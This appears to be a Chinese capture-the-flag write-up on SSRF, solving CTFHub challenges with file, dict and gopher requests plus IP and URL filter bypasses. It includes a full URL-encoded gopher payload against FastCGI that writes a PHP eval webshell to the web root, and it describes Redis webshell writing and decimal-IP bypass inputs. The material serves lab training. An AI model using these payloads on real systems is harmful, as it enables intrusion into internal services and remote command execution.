SSRF姿势学习-持续更新
SSRF的学习
SSRF是什么?
SSRF (Server-Side Request Forgery,服务器端请求伪造) 是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统,也正因为请求是由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统。也就是说可以利用一个网络请求的服务,当作跳板进行攻击。
也就是说服务端能够发起请求,而这个请求攻击者是可以伪造的,且服务端没有对这个请求进行过滤和限制,这就导致攻击者可利用服务端对内网进行探测利用。
优秀的文章:https://www.freebuf.com/articles/web/258365.html
其他利用姿势:https://mp.weixin.qq.com/s/MEnXZQG8ExvlSzuIsrhGsw
接下来在CTFHUB中实践一下。
常见伪协议
1 | http://:访问 HTTP(s) 网址,则可利用进行探测内网主机存活、端口开放情况 |
CTFHUB
第一部分(HTTP,Dict,file)
内网访问
题目提示访问127.0.0.1的flag.php
看见URL中含有url=这种关键词猜测就知道有戏,所以构造http://127.0.0.1/flag.php就得到了flag
然后使用file伪协议读取默认网站路径下的flag.php文件,查看源码得到flag
然后查看网页源码就能看到flag
端口扫描
题目提示端口范围在8000-9000
通过dict协议爆破出8376端口存在apache服务
再使用http协议访问
第二部分(Gopher)
gopher
协议是一种信息查找系统,他将Internet
上的文件组织成某种索引,方便用户从Internet
的一处带到另一处。在WWW
出现之前,Gopher
是Internet
上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70
端口。但在WWW
出现后,Gopher
失去了昔日的辉煌。现在它基本过时,人们很少再使用它。- 它只支持文本,不支持图像
- 支持发出GET、POST请求
POST请求
尝试访问本机的flag.php
有一个输入框,在源码发现key,因为没有提交按钮,所以只有自己构造一个POST请求发送值,使用大佬的脚本
1 | import urllib.parse |
把生成的gopher链接拿到URL中去访问,得到flag
上传文件
题目提示上传一个文件到flag.php,首先使用file协议读一下这个flag.php
根据源码得知只要文件大小大于0就OK,且没有任何过滤
因为页面没有提交按钮,所以我们拿不到文件上传的数据包,那么就在前端F12添加一个提交按钮
然后提交,抓包发送到repeater,再放包
这样是访问不到的,我们把repeater的包拿到刚刚的转为gopher协议的脚本里去
把HOST改为127.0.01
把制作好的gopher协议的链接拿去拼接访问,就得到了flag
FastCGI
FastCGI是什么?
FastCGI、CGI、PHP-CGI有啥关系?
参考链接:https://mp.weixin.qq.com/s/TiV2fqywBgY_bcRkaYmkfw
CGI和FastCGI的运行原理:https://www.cnblogs.com/itbsl/p/9828776.html
题目提示需要攻击一下fastcgi协议
使用大佬的工具gopherus
地址:https://github.com/tarunkant/Gopherus
完事儿把这个payload还要拿去进行URL编码,因为这里会进行两次解码,一次GET,一次curl,不过我在得到的结果是这样
1 | %67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%33%34%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%38%36%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%7a%45%77%4d%44%67%32%58%53%6b%37%50%7a%34%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30 |
然后拿去URL拼接访问
成功执行并写入,蚁剑连接shell马
Redis
关于redis的利用方式前面的文章中已经谈到了三种,只是当时漏了个主从复制。
探测一下6379端口,发现报错
直接上工具梭哈
把payload再URL编码一下然后拼接URL访问,就会生成一个shell.php文件,通过cmd参数执行命令
然后通过命令写个一句话马进去,蚁剑连接
第三部分(Bypass)
参考文章:https://mp.weixin.qq.com/s/r0SwjHu-P45FmDSp7rkZwA
URL Bypass
题目提示:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
这题核心是利用@绕过。
1 | 利用notfound.ctfhub.com充当用户名去访问127.0.0.1这个地址 |
IP Bypass
题目提示:这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
1 | localhost绕过 |
302跳转Bypass
题目提示:SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
先手访问一波,它说我是hacker,ban我IP…
以前有xip.io网站,这是一个申请的网站,你访问http://127.0.0.1.xip.io就等于访问http://127.0.0.1,这是这站现在没了
还是十进制绕过吧
1 | http://challenge-488fc34527452234.sandbox.ctfhub.com:10800/?url=http://2130706433:80/flag.php |
DNS重定向
自己搭建一个DNS服务器有点麻烦,直接就用现成的吧
推荐一个重定向网址:https://lock.cmpxchg8b.com/rebinder.html
拼接URL访问得到flag
推荐大家上CTFHUB进行训练
感谢大佬的分享
https://www.freebuf.com/articles/web/258365.html
https://www.freebuf.com/articles/web/265646.html
分享一个SSRF绕过姿势
https://github.com/trapp3rhat/SSRF-Injection/blob/master/README.md